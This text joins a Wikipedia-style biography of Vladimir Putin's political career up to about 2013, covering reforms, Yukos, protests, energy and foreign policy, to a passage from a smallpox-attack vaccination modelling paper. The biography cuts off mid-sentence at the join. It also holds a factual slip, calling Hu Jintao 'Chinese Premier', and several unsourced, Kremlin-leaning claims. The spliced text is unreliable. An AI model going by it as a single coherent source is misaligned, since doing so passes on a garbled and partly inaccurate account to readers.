Russia's legal reform continued productively during Putin's first term. In particular, Putin succeeded in the codification of land law and tax law, where progress had been slow during Yeltsin's administration, because of Communist and oligarch opposition, respectively. Other legal reforms included new codes on labour, administrative, criminal, commercial and civil procedural law, as well as a major statute on the Bar.[22]
The first major challenge to Putin's popularity came in August 2000, when he was criticised for his alleged mishandling of the Kursk submarine disaster.[68]
In December 2000, Putin sanctioned the law to change the National Anthem of Russia. At the time the Anthem had music by Glinka and no words. The change was to restore (with a minor modification) the music of the post-1944 Soviet anthem by Alexandrov, while the new text was composed by Sergey Mikhalkov, who previously had authored the lyrics of the two versions of the Soviet anthem.[69][70]
Many in the Russian press and in the international media warned that the death of some 130 hostages in the special forces' rescue operation during the 2002 Moscow theater hostage crisis would severely damage President Putin's popularity. However, shortly after the siege had ended, the Russian president was enjoying record public approval ratings '' 83% of Russians declared themselves satisfied with Putin and his handling of the siege.[71]
A few months before the elections, Putin fired Kasyanov's cabinet and appointed Mikhail Fradkov to his place. Sergey Ivanov became the first civilian in Russia to take Defense Minister position.
In 2003, a referendum was held in Chechnya adopting a new constitution which declares the Republic as a part of Russia. Chechnya has been gradually stabilized with the establishment of the parliamentary elections and a regional government.[72][73] Throughout the war Russia has severely disabled the Chechen rebel movement, although sporadic violence continued to occur throughout the North Caucasus.[74]
Second Presidential term (2004''2008)On 14 March 2004, Putin was elected to the presidency for a second term, receiving 71% of the vote.[60]
The Beslan school hostage crisis took place in September 2004, in which hundreds died. Among the administrative measures taken after that terrorist act, Putin launched an initiative to replace the direct election of the Governors and Presidents of the Federal subjects of Russia with a system whereby they would be nominated by the President and approved or disapproved by regional legislatures.[75][76] In 2005 Putin created the Public Chamber of Russia.
In 2005, the National Priority Projects were launched to improve Russia's health care, education, housing and agriculture. The most high-profile change within the national priority project frameworks was probably the 2006 across-the-board increase in wages in healthcare and education, as well as the decision to modernise equipment in both sectors in 2006 and 2007.[77] In his May 2006 annual speech, Putin announced increasing maternity benefits and state support of prenatal care for women. By 2012 the demographic programmes of the government led to a 45% increase in second child births by women, and a 60% increase in third, fourth etc. births.[78]
The continued criminal prosecution of Russia's then richest man, President of YUKOS company Mikhail Khodorkovsky, for fraud and tax evasion was seen by the international press as a retaliation for Khodorkovsky's donations to both liberal and communist opponents of the Kremlin. The government said that Khodorkovsky was corrupting a large segment of the Duma to prevent tax code changes such as taxes on windfall profits and closing offshore tax evasion vehicles. Khodorkovsky was arrested, Yukos was bunkrupted and the company's assets were auctioned at below-market value, with the largest share acquired by the state company Rosneft.[79] The fate of Yukos was seen in the West as a sign of a broader shift of Russia towards a system of state capitalism.[80][81]
A study by Bank of Finland's Institute for Economies in Transition (BOFIT) in 2008 found that state intervention had made a positive impact on the corporate governance of many companies in Russia: the governance was better in companies with state control or with a stake held by the government.[82]
Putin was criticized in the West and also by Russian liberals for what many observers considered a wide-scale crackdown on media freedom in Russia. On 7 October 2006, Anna Politkovskaya, a journalist who exposed corruption in the Russian army and its conduct in Chechnya, was shot in the lobby of her apartment building. The death of Politkovskaya triggered an outcry in Western media, with accusations that, at best, Putin has failed to protect the country's new independent media.[83][84] When asked about the Politkovskaya murder in his interview with the German TV channel ARD, Putin said that her murder brings much more harm to the Russian authorities than her writing.[85] By 2012 the performers of the murder were arrested and named Boris Berezovsky and Akhmed Zakayev as a possible clients.[86]
In 2007, "Dissenters' Marches" were organized by the opposition group The Other Russia,[87] led by former chess champion Garry Kasparov and national-Bolshevist leader Eduard Limonov. Following prior warnings, demonstrations in several Russian cities were met by police action, which included interfering with the travel of the protesters and the arrests of as many as 150 people who attempted to break through police lines.[88] The Dissenters' Marches have received little support among the Russian general public, according to polls.[89]
On 12 September 2007, Putin dissolved the government upon the request of Prime Minister Mikhail Fradkov. Fradkov commented that it was to give the President a "free hand" in the run-up to the parliamentary election. Viktor Zubkov was appointed the new prime minister.[90]
In December 2007, United Russia won 64.24% of the popular vote in their run for State Duma according to election preliminary results.[91] United Russia's victory in December 2007 elections was seen by many as an indication of strong popular support of the then Russian leadership and its policies.[92][93]
On 8 February 2008, Putin delivered a speech before the expanded session of the State Council headlined "On the Strategy of Russia's Development until 2020".[94] In his last days in office Putin was reported to have taken a series of steps to re-align the regional bureaucracy to make the governors report to the prime minister rather than the president.[95][96] The presidential site explained that "the changes... bear a refining nature and do not affect the essential positions of the system. The key role in estimating the effectiveness of activity of regional authority still belongs to President of the Russian Federation."
Second Premiership (2008''2012)Putin was barred from a third term by the Constitution. First Deputy Prime Minister Dmitry Medvedev was elected his successor. On 8 May 2008, only a day after handing the presidency to Medvedev, Putin was appointed Prime Minister of Russia, maintaining his political dominance.[97]
The 2008-2009 world crisis hit the Russian economy especially hard, interrupting the flow of cheap Western credit and investments. This coincided with tension in relationships with the EU and the U.S. following the 2008 South Ossetia war, in which Russia defeated the U.S. and NATO ally Georgia.
However, the large financial reserves, accumulated in the Stabilization Fund of Russia in the previous period of high oil prices, alongside the strong management helped the country to cope with the crisis and resume economic growth since mid-2009. The Russian government's anti-crisis measures have been praised by the World Bank, which said in its Russia Economic Report from November 2008: "prudent fiscal management and substantial financial reserves have protected Russia from deeper consequences of this external shock. The government's policy response so far'--swift, comprehensive, and coordinated'--has helped limit the impact."[98] Putin himself named the overcoming of consequences of the world economic crisis one of the two main achievements of his 2nd Premiership[78] (the other named achievement being the stabilisation of the size of Russia's population between 2008-2011 following the long period of demographic collapse started in the 1990s).[78]
At the United Russia Congress in Moscow on 24 September 2011, Medvedev officially proposed that Putin stand for the Presidency in 2012; an offer which Putin accepted. Given United Russia's near-total dominance of Russian politics, many observers believed that Putin was all but assured of a third term. The move was expected to see Medvedev stand on the United Russia ticket in the parliamentary elections in December, with a goal of becoming Prime Minister at the end of his presidential term.[99]
After the parliamentary elections on 4 December 2011, tens of thousands Russians engaged in protests against alleged electoral fraud, the largest protests in Putin's time; protesters criticized Putin and United Russia and demanded annulment of the election results.[100] However, those protests, organized by the leaders of the Russian "non-systemic opposition", sparked the fear of a colour revolution in society, and a number of "anti-Orange" counter-protests (the name alludes to the Orange Revolution in Ukraine) and rallies of Putin supporters were carried out, surpassing in scale the opposition protests.[101][102][103]
Third Presidential term (2012''present)On 4 March 2012, Putin won the 2012 Russian presidential elections in the first round, with 63.6% of the vote.[60] While extraordinary measures were taken to make the elections transparent, including the usage of webcams on the vast majority of polling stations, the vote was criticized by Russian opposition and some international bodies for perceived irregularities.[citation needed]. Several heads of states around the world congratulated Putin on winning elections. Chinese Premier Hu Jintao congratulated Vladimir Putin on taking office as Russian president, and wished the Russian people greater achievements in developing their country under Putin's leadership.[104] The Prime Minister of India, Manmohan Singh said "Your success in these elections is an affirmation by the Russian people of your vision of a strong, prosperous and democratic Russia," and added that he "deeply appreciated the personal commitment and attention that you have brought to nurturing the India-Russia strategic partnership over the last 12 years".[105] The President of Pakistan, Asif Ali Zardari called the election results a "resounding victory".[106]Venezuela President Hugo Chavez personally congratulated Putin on his victory, calling Putin "a driving force behind strategic ties of cooperation between Venezuela and Russia."[107]
Anti-Putin protests took place during and directly after the presidential campaign. The most notorious protest was the 21 February Pussy Riot performance, and subsequent trial.[108] As well, an estimated 8,000-20,000 protesters gathered in Moscow on 6 May.[109][110] On 6 May, eighty people were injured in confrontations with police,[111] 450 were arrested, with another 120 arrests taking place the following day.[112]
Putin was inaugurated in the Kremlin on 7 May 2012. On his first day as President, Putin issued 14 Presidential decrees, including a lengthy one stating wide-ranging goals for the Russian economy. Other decrees concerned education, housing, skilled-labor training, relations with the European Union, the defense industry, inter-ethnic relations, and other policy areas dealt with in Putin's programme articles issued during the Presidential campaign.[113][114]
In 2012 and 2013, Putin and the United Russia backed stricter legislation against the rights of the LGBT community in Russia, first in Saint Petersburg, Archangelsk and Novosibirsk, but a law against "homosexual propaganda" (which prohibits such symbols as the rainbow flag as well as published works containing homosexual content) was adopted by State Duma in June 2013.[115][116][117][118][119]
In June 2013 Putin attended a televised rally of the All-Russia People's Front where he was elected head of the movement,[120] which was set up in 2011.[121] According to journalist Steve Rosenberg, the movement is intended to "reconnect the Kremlin to the Russian people" and one day, if necessary, replace the increasingly unpopular United Russia party that currently backs Putin.[122]
PoliciesDomestic policiesPutin's domestic policies, especially early in his first presidency, were aimed at creating a strict "vertical of power". On 13 May 2000, he issued a decree dividing the 89 federal subjects of Russia between 7 federal districts overseen by representatives named by himself in order to facilitate federal administration. Putin also pursued a policy of enlargement of federal subjects: their number was reduced from 89 in 2000 to the present 83 after the autonomous okrugs of Russia were merged with their parent subjects.
According to Stephen White, Russia under the presidency of Putin made it clear that it had no intention of establishing a "second edition" of the American or British political system, but rather a system that was closer to Russia's own traditions and circumstances.[123] Putin's administration has often been described as a "sovereign democracy".[124] First proposed by Vladislav Surkov in February 2006, the term quickly gained currency within Russia and arguably unified various political elites around it. According to its proponents, the government's actions and policies ought above all to enjoy popular support within Russia itself and not be determined from outside the country.[125][126]
In July 2000, according to a law proposed by him and approved by the Federal Assembly of Russia, Putin gained the right to dismiss heads of the federal subjects. In 2004, the direct election of governors by popular vote was ended. This was seen by Putin as a necessary move to stop separatist tendencies and get rid of those governors who were connected with organised crime.[127] The measure proved to be temporary: in 2012, as proposed by Putin's successor Dmitry Medvedev, the direct election of governors was re-introduced.[128] Along with the return of elected governors, Medvedev's reforms also simplified the registration of political parties and reduced the number of signatures required by non-parliamentary parties and independent candidates to participate in elections,[128] thus reverting or further loosening the restrictions imposed by previous Putin-endorsed legislation. Notably, the tough electoral legislation has been among the government actions effected under Putin's presidency that have been criticised by many independent Russian media outlets and Western commentators as anti-democratic.[129][130]
During his first term in office, Putin moved to curb the political ambitions of some of the Yeltsin-era oligarchs, resulting in the exile or imprisonment of such people as Boris Berezovsky, Vladimir Gusinsky, Mikhail Khodorkovsky; other oligarchs soon joined Putin's camp.[citation needed]
Putin presided over an intensified fight with organised crime and terrorism that resulted in two times lower murder rates by 2011,[131] as well as significant reduction in the numbers of terrorist acts by the late 2000s (decade).[132]
Putin succeeded in codifying land law and tax law and promulgated new codes on labour, administrative, criminal, commercial and civil procedural law.[22] Under Medvedev's presidency, Putin's government implemented some key reforms in the area of state security, the Russian police reform and the Russian military reform.
Economic policyUnder the Putin administration the economy made real gains of an average 7% per year (2000: 10%, 2001: 5.1%, 2002: 4.7%, 2003: 7.3%, 2004: 7.2%, 2005: 6.4%, 2006: 8.2%, 2007: 8.5%),[133] making it the 7th largest economy in the world in purchasing power. Russia's nominalGross Domestic Product (GDP) increased 6 fold, climbing from 22nd to 10th largest in the world. In 2007, Russia's GDP exceeded that of Russian SFSR in 1990, meaning it has overcome the devastating consequences of the 1998 financial crisis and preceding recession in the 1990s.[16]
During Putin's eight years in office, industry grew by 76%, investments increased by 125%,[16] and agricultural production and construction increased as well. Real incomes more than doubled and the average monthly salary increased sevenfold from $80 to $640.[14][17] From 2000 to 2006 the volume of consumer credit increased 45 times[134][135] and the middle class grew from 8 million to 55 million. The number of people living below the poverty line decreased from 30% in 2000 to 14% in 2008.[16][136]
In 2001, Putin, who has advocated liberal economic policies, introduced a flat tax rate of 13%;[137][138] the corporate rate of tax was also reduced from 35 percent to 24 percent;[137] Small businesses also get better treatment. The old system with high tax rates has been replaced by a new system where companies can choose either a 6-percent tax on gross revenue or a 15-percent tax on profits.[137] The overall tax burden is lower in Russia than in most European countries.[139]
A central concept in Putin's economic thinking was the creation of so-called National champions, vertically integrated companies in strategic sectors that are expected not only to seek profit, but also to "advance the interests of the nation". Examples of such companies include Gazprom, Rosneft and United Aircraft Corporation.[140]
Before the Putin era, in 1998, over 60% of industrial turnover in Russia was based on barter and various monetary surrogates. The use of such alternatives to money has now fallen out of favour, boosting economic productivity significantly. Besides raising wages and consumption, Putin's government has received broad praise also for eliminating this problem.[141]
Some oil revenue went to the stabilization fund established in 2004. The fund accumulated oil revenue, allowing Russia to repay all of the Soviet Union's debts by 2005. In early 2008, it was split into the Reserve Fund (designed to protect Russia from possible global financial shocks) and the National Welfare Fund, whose revenues will be used for a pension reform.[16]
Inflation remained a problem however, as between 1999''2007 it was kept at the forecast ceiling only twice, and in 2007 the inflation exceeded that of 2006, continuing an upward trend at the beginning of 2008.[16] The Russian economy is still commodity-driven despite its growth. Payments from the fuel and energy sector in the form of customs duties and taxes accounted for nearly half of the federal budget's revenues. The large majority of Russia's exports are made up of raw materials and fertilizers,[16] although exports as a whole accounted for only 8.7% of the GDP in 2007, compared to 20% in 2000.[142]
In December 2011, after 15 years of negotiations, Russia finally joined the World Trade Organisation. The accession to WTO was expected to be ratified by Russian Parliament in the spring of 2012.
Industrial developmentTo boost the market share of locally produced vehicles and support the Russia's automotive industry, the government under Putin implemented several protectionist measures and launched programs to attract foreign producers into the country. In late 2005, the government enacted legislation to create special economic zones (SEZ) with the aim of encouraging investments by foreign automotive companies. The benefits of operating in the special economic zones include tax allowances, abolishment of asset and land taxes and protection against changes in the tax regime. Some regions also provide extensive support for large investors (over $100 million.) These include Saint Petersburg/Leningrad Oblast, Kaluga Oblast and Kaliningrad Oblast.[143] Under Putin as President and Premier, most of the world's largest automotive companies opened plants in Russia, including Ford Motor Company, Toyota, General Motors, Nissan, Hyundai Motor, Suzuki, Magna International, Scania and MAN SE.
In 2005, Putin initiated an industry consolidation programme to bring the main aircraft producing companies under a single umbrella organization, the United Aircraft Corporation (UAC). The aim was optimize production lines and minimise losses. The programme was divided in three parts: reorganization and crisis management (2007''2010), evolution of existing projects (2010''2015) and further progress within the newly created structure (2015''2025).[144]
The UAC, one of the so-called national champions and comparable to EADS in Europe, enjoyed considerable financial support from the Russian government, and injected money to the companies it had acquired to improve their financial standing. The deliveries of civilian aircraft increased to 6 in 2005, and in 2009 the industry delivered 15 civilian aircraft, worth 12.5 billion roubles, mostly to domestic customers.[145] Since then Russia has successfully tested the fifth generation jet fighter, Sukhoi PAK FA, and started the commercial production of the regional airlinerSukhoi Superjet 100, as well as started developing a number of other major projects.
In a similar fashion, Putin created the United Shipbuilding Corporation in 2007, which led to the recovery[citation needed] of shipbuilding in Russia. Since 2006, much efforts were put into consolidation and development of the Rosatom Nuclear Energy State Corporation, which led to the renewed construction of nuclear power plants in Russia as well as a vast activity of Rosatom abroad, buying huge shares in world's leading uranium production companies and building nuclear power plants in many countries, including Iran, China, Vietnam and Belarus.[citation needed] In 2007, the Russian Nanotechnology Corporation was established, aimed to boost the science and technology and high-tech industry in Russia.[146]
Energy policyIn the 2000s (decade) Russia's oil and gas wealth was transformed into the country's well-being and international influence, and Russia was frequently been described in the media as an energy superpower.[23] Putin oversaw that the growing taxation of oil and gas exports filled in the Russian budget, while oil and gas prices, production, and exports all significantly grew.
Putin sought to Russia's large share on the European energy market by building the submerged gas pipelines bypassing Ukraine and the New Europe (the countries which were often seen as non-reliable transit partners by Russia, especially following Russia-Ukraine gas disputes of the late 2000s (decade)). The pipeline projects backed by Putin include the Blue Stream from Russia to Turkey (build on the Black Sea bed), Nord Stream from Russia to Germany (the longest sub-sea pipeline in the world, built through the Baltic Sea) and the planned South Stream from Russia to the Balkans and Italy (via the Black Sea). Russia also undermined the rival pipeline project Nabucco by buying the Turkmen gas and redirecting it into Russian pipelines.
On the other hand Russia diversified its export markets by building the Trans-Siberian oil pipeline to the markets of China, Japan and Korea, as well as the Sakhalin''Khabarovsk''Vladivostok gas pipeline in the Russian Far East. Russia has built LNG plant on Sakhalin and is building another one in Primorye, aiming to increase the overseas gas exports. Meanwhile, in the Gulf of Finland Russia has built a major Ust-Luga port connected to the Baltic Pipeline System-II, which allowed to export oil without transit through the ports of the Baltic states. The share of processed oil slowly grows with major oil refineries being built in Tatarstan and other regions of Russia.
Putin also presided over resuming the construction of major hydropower plants, such as the Bureya Dam and the Boguchany Dam, as well as the restoration of the nuclear industry of Russia, with some 1 trillion rubles ($42.7 billion) allocated from the federal budget to nuclear power and industry development before 2015.[147] A large number of nuclear power stations and units are currently being constructed by the state corporation Rosatom in Russia and abroad.
Arctic policyPutin has sought to increase Russian military and economic presence in the Arctic. In August 2007, a Russian expedition named Arktika 2007, led by Artur Chilingarov, planted a Russian flag on the seabed below the North Pole to underline Russia's 2001 claim submission.[148][148] In June 2008 General Vladimir Shamanov announced that Russia would increase the operational radius of its Northern Fleet submarines.[149] and in July 2011, Defense Minister Anatoly Serdyukov announced plans for two brigades to be stationed in the Arctic.[150]
A construction program of floating nuclear power plants will provide power to Russian Arctic coastal cities and gas rigs. A 21,500-ton barge with twin 35-megawatt reactors, the Akademik Lomonosov, will go into operation in 2012.[151][152] The Prirazlomnoye field, an offshore oilfield in the Pechora Sea that will include up to 40 wells, is currently under construction and drilling is expected to start in early 2012. It will have the world's first ice-resistant oil platform and will also be the first offshore Arctic platform.[153][154]
In August 2011 Rosneft, a Russian government-operated oil company, signed a deal with ExxonMobil to receive oil assets in exchange for the joint development of Russian Arctic resources by both companies.[155] The agreement includes a $3.2 billion hydrocarbon exploration of the Kara and Black seas,[156] as well as joint development of ice-resistant drilling platforms and other Arctic technologies.[157] "The scale of the investment is very large. It's scary to utter such huge figures" said Putin on signing the deal.[155]
Environmental policyIn 2004, President Putin signed the Kyoto Protocol treaty designed to reduce greenhouse gases.[158] However Russia did not face mandatory cuts, because the Kyoto Protocol limits emissions to a percentage increase or decrease from 1990 levels and Russia's greenhouse-gas emissions fell well below the 1990 baseline due to a drop in economic output after the breakup of the Soviet Union.[159]
Putin personally supervises and/or promotes a number of protection programmes for rare and endangered animals in Russia:
Religious and national policyOrthodox Christianity, Islam, Buddhism and Judaism, defined by law as Russia's traditional religions and a part of Russia's "historical heritage"[164] enjoyed limited state support in the Putin era. The vast construction and restoration of churches, started in 1990s, continued under Putin, and the state allowed the teaching of religion in schools (parents are provided with a choice for their children to learn the basics of one of the traditional religions or secular ethics). His approach to religious policy has been characterised as one of support for religious freedoms, but also the attempt to unify different religions under the authority of the state.[165] In 2012, Putin was honored in Bethlehem and a street was named after him.[166]
Putin regularly attends the most important services of the Russian Orthodox Church on the main Orthodox Christian holidays. He established a good relationship with Patriarchs of the Russian Church, the late Alexy II of Moscow and the current Kirill of Moscow. As President, he took an active personal part in promoting the Act of Canonical Communion with the Moscow Patriarchate, signed 17 May 2007 that restored relations between the Moscow-based Russian Orthodox Church and the Russian Orthodox Church Outside Russia after the 80-year schism.[167]
Putin and United Russia enjoy high electoral support in the national republics of Russia, in particular in the Muslim-majority republics of Povolzhye and the North Caucasus.
Under Putin, the HasidicFJCR became increasingly influential within the Jewish community, partly due to the influence of Federation-supporting businessmen mediated through their alliances with Putin, notably Lev Leviev and Roman Abramovich.[168][168][169] According to the JTA, Putin is popular amongst the Russian Jewish community, who see him as a force for stability. Russia's chief rabbi, Berel Lazar, said Putin "paid great attention to the needs of our community and related to us with a deep respect."[170]
Sports developmentOn 4 July 2007 Putin addressed the delegates at the 119th International Olympic Committee Session in Guatemala City on behalf of the successful bid of Sochi for the 2014 Winter Olympics and the 2014 Winter Paralympics,[171] the first Winter Olympic Games in Russia. In 2008, the city of Kazan won the bid for the 2013 Summer Universiade, and on 2 December 2010 Russia won the right to host the 2017 FIFA Confederations Cup and 2018 FIFA World Cup, also for the first time in Russia.
Other major tournaments which the country has been chosen to host include the 2013 World Championships in Athletics in Moscow and the 2015 World Aquatics Championships in Kazan (both events never held in Russia so far), the Russian Grand Prix (a new race of the Formula One since 2014, to be held in Sochi) and the 2016 IIHF World Championship.
Military developmentThe resumption of long-distance flights of Russia's strategic bombers was followed by the announcement by Russian Defense Minister Anatoliy Serdyukov during his meeting with Putin on 5 December 2007, that 11 ships, including the aircraft carrier Kuznetsov, would take part in the first major navy sortie into the Mediterranean since Soviet times.[172] The sortie was to be backed up by 47 aircraft, including strategic bombers.[173]
While from the early 2000s (decade) Russia started pumping more money into its military and defence industry, it was only in 2008 that the full-scale Russian military reform began, aimed to modernize Russian Armed Forces and made them significantly more effective. The reform was largely carried by Defense Minister Anatoly Serdyukov during Medvedev's Presidency, under supervision of both Putin, as the Head of Government, and Medvedev, as the Commander-in-Chief of the Russian Armed Forces.
Key elements of the reform included reducing the armed forces to a strength of one million; reducing the number of officers; centralising officer training from 65 military schools into 10'systemic' military training centres; creating a professional NCO corps; reducing the size of the central command; introducing more civilian logistics and auxiliary staff; elimination of cadre-strength formations; reorganising the reserves; reorganising the army into a brigade system; reorganising air forces into an air base system instead of regiments.[174]
The number of Russia's military districts was reduced to just 4. The term of draft service was reduced from two years to one, which put an end to the old harassment traditions in the army, since all conscripts became very close by draft age. The gradual transition to the majority professional army by the late 2010s was announced, and a large programme of supplying the Armed Forces with new military equipment and ships was started. The Russian Space Forces were replaced on 1 December 2011 with the Russian Aerospace Defence Forces.
In spite of Putin's call for major investments in strategic nuclear weapons, these will fall well below the New START limits due to the retirement of aging systems.[175]
Foreign policyRelations with NATO and the WestPutin's Russia relationships with NATO and the U.S. have passed several stages. When Putin first became President, the relations were cautious. After the 9/11 attacks when Putin quickly supported U.S. in the War on Terror, the opportunity for partnership appeared.[176] However, the U.S. responded by further expansion of NATO to Russia's borders and by unilateral withdrawal from the 1972 Anti-Ballistic Missile Treaty.[176] Since 2003, when Russia did not support the Iraq War and when Putin became ever more distant from the West in his internal and external policies, the relations continued to deteriorate. According to Russia scholar Stephen F. Cohen, the narrative of the mainstream U.S. media, following that of the White House, became profoundly anti-Putin, full of accusations that Putin had caused problems which actually stem from the 1990s, and assertions that Putin was personally responsible for any murders of his Russian political opponents, such as the journalist Anna Politkovskaya and the supposed KGB defector in London, Aleksandr Litvinenko.[176] In an interview with Michael St¼rmer, Putin was quoted saying that there were three questions which most concerned Russia and Eastern Europe; namely the status of Kosovo, the Conventional Forces in Europe treaty and American plans to build missile defence sites in Poland and the Czech Republic, and suggested that all three were some way linked.[177] In Putin's view, concessions on one of these questions on the Western side might be met with concessions from Russia on another.[177]
In February 2007, at the annual Munich Conference on Security Policy, Putin openly criticized what he called the United States' monopolistic dominance in global relations, and "almost uncontained hyper use of force in international relations". He said the result of it is that "no one feels safe! Because no one can feel that international law is like a stone wall that will protect them. Of course such a policy stimulates an arms race."[178] In this speech, which became known as Munich Speech, Putin called for a "fair and democratic world order that would ensure security and prosperity not only for a select few, but for all".[178] His remarks however were met with criticism by some delegates[179] such as former NATO secretary Jaap de Hoop Scheffer who called his speech, "disappointing and not helpful."[180] Previously, in a January 2007 interview Putin said Russia is in favor of a democratic multipolar world and of strengthening the systems of international law.[181] The months following Putin's Munich speech[178] were marked by tension and a surge in rhetoric on both sides of the Atlantic. Both Russian and American officials, however, denied the idea of a new Cold War.[182]
Putin publicly opposed plans for the U.S. missile shield in Europe, and presented President George W. Bush with a counterproposal on 7 June 2007 of modernising and sharing the use of the Soviet-era Gabala radar station in Azerbaijan rather than building a new system in the Czech Republic[177] Putin proposed it would not be necessary to place interceptor missiles in Poland then, but interceptors could be placed in NATO member Turkey or Iraq. Putin suggested also equal involvement of interested European countries in the project.[183] The proposal was declined. Russia suspended its participation in the Treaty on Conventional Armed Forces in Europe on 11 December 2007.[184]
Vladimir Putin strongly opposes the secession of Kosovo from Serbia. He called any support for this act "immoral" and "illegal".[185] He described Kosovo's declaration of independence a "terrible precedent" that will come back to hit the West "in the face".[186] He stated that the Kosovo precedent will de facto destroy the whole system of international relations, developed over centuries.[187]
Putin's relations with former American President George W. Bush, former GermanChancellorGerhard Schr¶der, former French PresidentJacques Chirac, and Italian Prime MinisterSilvio Berlusconi are reported to be personally friendly. Putin's "cooler" and "more business-like" relationship with Germany's new Chancellor, Angela Merkel is often attributed to Merkel's upbringing in the former DDR, where Putin was stationed when he was a KGB agent.[188]
Relations with the U.K.By mid-2000s (decade), the relations between Russia and the United Kingdom deteriorated when the United Kingdom granted political asylum to Putin's former patron, oligarchBoris Berezovsky in 2003.[189] Berezovsky, located in London, often called for the overthrow of Putin[189] and allegedly directed anti-Putin activities in Russia. The United Kingdom also granted asylum to the Chechen rebel leader Akhmed Zakayev and other people who fled from Russia.
In 2006 it became known that Britain spied on Russia using a fake rock, which was located on a street and contained electronic equipment that allowed British diplomats to receive and transmit information.[190] The Russian security service FSB linked the rock with allegations that British were making secret payments to pro-democracy and human rights groups, and the same year President Putin introduced a law which restricted non-governmental organisations (NGOs) from getting funding from foreign governments. This resulted in many NGOs closing.[190] In 2006, the Russian liberal opposition met the media reports on "spy rock" with contempt, alleging that it was made-up by FSB,[191] but in 2012 Jonathan Powell, ex-chief of staff of the U.K. Prime Minister Tony Blair, confessed that the story with the rock was true.[190]
The end of 2006 brought very |
scenario. Because the total number of deaths is highly dependent on the number of infected persons when the emergency response is initiated, an increase in the detection delay (discussed below) or the predetection R 0 has an effect similar to increasing the initial attack size—an effect we investigate later. Newly detected symptomatic infections become “index cases,” isolated to prevent further transmission. Index cases are interviewed to generate a list of c persons with whom they have had potentially infectious contacts in the recent past, but only a fraction p of true contacts (and hence only a fraction p of infectees) are named and located via contact tracing. The model correctly places infected contacts found in their appropriate stage of disease while accounting for the probability that such persons were already traced from a prior index, and thus avoids double counting. This crucial aspect of our analysis differs from previous contact tracing models (9, 10) and reveals a “race to trace:” even if a contact is identified immediately on detection of the infecting index case, the time from infection of the contact to detection of the index (and tracing of the contact) can exceed the time during which the infected contact remains sensitive to the vaccine. Contact vaccination in such a circumstance is both ineffective (the infection is not prevented) and inefficient (vaccine is wasted). Contact tracing can control a smallpox outbreak only if the race to trace is repeatedly won. Susceptible and asymptomatic infected persons located via contact tracing enter a tracing/vaccination queue serviced by n vaccinators who can each process (locate and vaccinate) μ persons per day on average. Only susceptibles and stage 1 infected individuals can be protected via the vaccine, which is effective with probabilities ν 0 and ν 1, respectively. Unsuccessfully vaccinated persons return to the freely mixing population either as susceptibles or infecteds in the appropriate stage of disease. On vaccination, a fraction h of individuals in stage 3 of infection are found to be febrile and are quarantined for α−1 days on average. A fraction f of vaccinations result in fatalities. Mathematically, this model is described by the 17 ordinary differential equations discussed further in the Appendix. We focus on two strategies: traced vaccination (TV), described in the last paragraph, and mass vaccination (MV), where the entire population simultaneously enters the vaccination queue. The CDC policy, which can be viewed as TV followed by a switch to MV if the former is unable to contain the epidemic, will also be assessed. We also consider preattack vaccination. To allow for detection and ramp up, TV and MV are initiated in our model when 10% of the initial number of infected people have exhibited symptoms.
Parameter Values. Table 1 contains the parameter values for our base case. About half of these values are taken from classic references (e.g., ref. 1). The infection rate β was chosen so that R 0 = 3, which is near the lower range of 3.5–6 estimated in ref. 9 (although we will vary R 0 in sensitivity analyses discussed below). We assume a large attack of 1,000 initial cases in a population of 10 million persons in our base case but vary the attack size between 1 and 100,000 in our sensitivity analyses below. To estimate the number of vaccinators that could be requisitioned in an emergency, we focus on public health nurses. A Health Resources and Services Administration survey (11) reports that 0.78% of the U.S. population is used in nursing, whereas 18.3% of used nurses work in public or community health. Applying these percentages to N = 10 million and dividing by 3 to produce round-the-clock 8-hr shifts yields 4,758, which we have rounded to 5,000. Vaccinators trace and vaccinate the contacts named by index cases. In our model, it takes T and V time units, respectively, to trace and vaccinate a named contact. Hence, μ−1 = T + V for TV and μ−1 = V for MV. We assume T = 3V, recognizing that the time required to locate contacts is much greater than the time required for vaccination (12), and V−1 = 200 per day based on the 1947 mass vaccination of New York City (2). When we were in doubt regarding the values of some parameter values (e.g., p and h), we erred on the side favoring TV. Table 1. Parameter values for the model
Base Case Results. Fig. 1 depicts the population dynamics of TV and MV, both initiated on day 5, for our base case parameter values (Table 1). TV leads to 367,000 cases and 110,000 deaths over 350 days (Fig. 1A), even though tracing and vaccination resources are ample (that is, the maximum queue length in Fig. 1A is less than the total number of available health workers) and requires 59,000 isolation units for symptomatic cases (but only 750 for febrile quarantine). MV takes only 10 days to complete, leads to 1,830 cases and 560 deaths over 115 days (Fig. 1B), and requires only 690 isolation units for symptomatic cases (60 for febrile quarantine). The effect of quarantining febriles in Fig. 1 is to reduce the number of TV deaths from 112,000 to 110,000 and the number of MV deaths from 585 to 560. Fig 1. Population dynamics of a smallpox attack with the basic reproductive ratio R 0 = 3. The number of infected people, regardless of disease stage, and the number of people, whether susceptible or asymptomatically infected, waiting in the vaccination queue during the aftermath of a smallpox attack. The (A) TV policy and the (B) MV policy are both initiated 5 days after an initial attack of size 1,000 in a population of 107.
Sensitivity Analysis and Preattack Vaccination. A sensitivity analysis comparing the number of deaths incurred under TV and MV was performed for the three model parameters that possess the most uncertainty (Fig. 2 A–C). TV is more sensitive than MV to the size of the initial attack (Fig. 2A), and R 0 (Fig. 2B). Although deaths decline as the number of vaccinators increases for both TV and MV (Fig. 2C, which uses a log scale), the number of deaths under TV is independent of the number of vaccinators when the latter exceeds about 2,670, which is the maximum length of the vaccination queue throughout the course of the epidemic in Fig. 1A. The TV deaths vs. R 0 curve has two kinks in Fig. 2B: the curve increases at R 0 = 1.36, which is the largest value of R 0 for which TV can contain the spread of disease, and further steepens at R 0 = 5, when the vaccination queue becomes congested. The TV policy is also sensitive to three other TV parameters: the fraction of infectees named by an index (Fig. 2D), the ratio of tracing time to vaccination time, and the number of names generated per index (not shown). Fig 2. Sensitivity analysis for uncertain model parameters. The number of deaths under TV and MV versus (A) the fraction of the population initially infected, (B) the basic reproductive ratio R 0, and (C) the number of vaccinators per capita, keeping the total population size fixed at 107. The number of deaths under TV versus (D) the fraction of infectees named by an index. Under either TV or MV, there may be a number of people who either cannot be located or who should not be vaccinated (e.g., people who have eczema, are pregnant, or are immunosuppressed). Because prevaccination screening will likely preclude the vaccination of the great majority of immunosuppressed people, we assess this effect under MV by reducing the vaccine efficacy. As an illustration, even if the vaccine efficacy is decreased from 0.975 to 0.9, the number of deaths increases only from 560 to 700 in our base case because, although one million persons remain susceptible by day 15, R 0 essentially drops from 3 to 0.3 (because only 10% of the population is unvaccinated), well below the epidemic threshold. Because TV traces over 80% of the population in the base case, complications due to vaccinating the immunosuppressed will be similar for TV 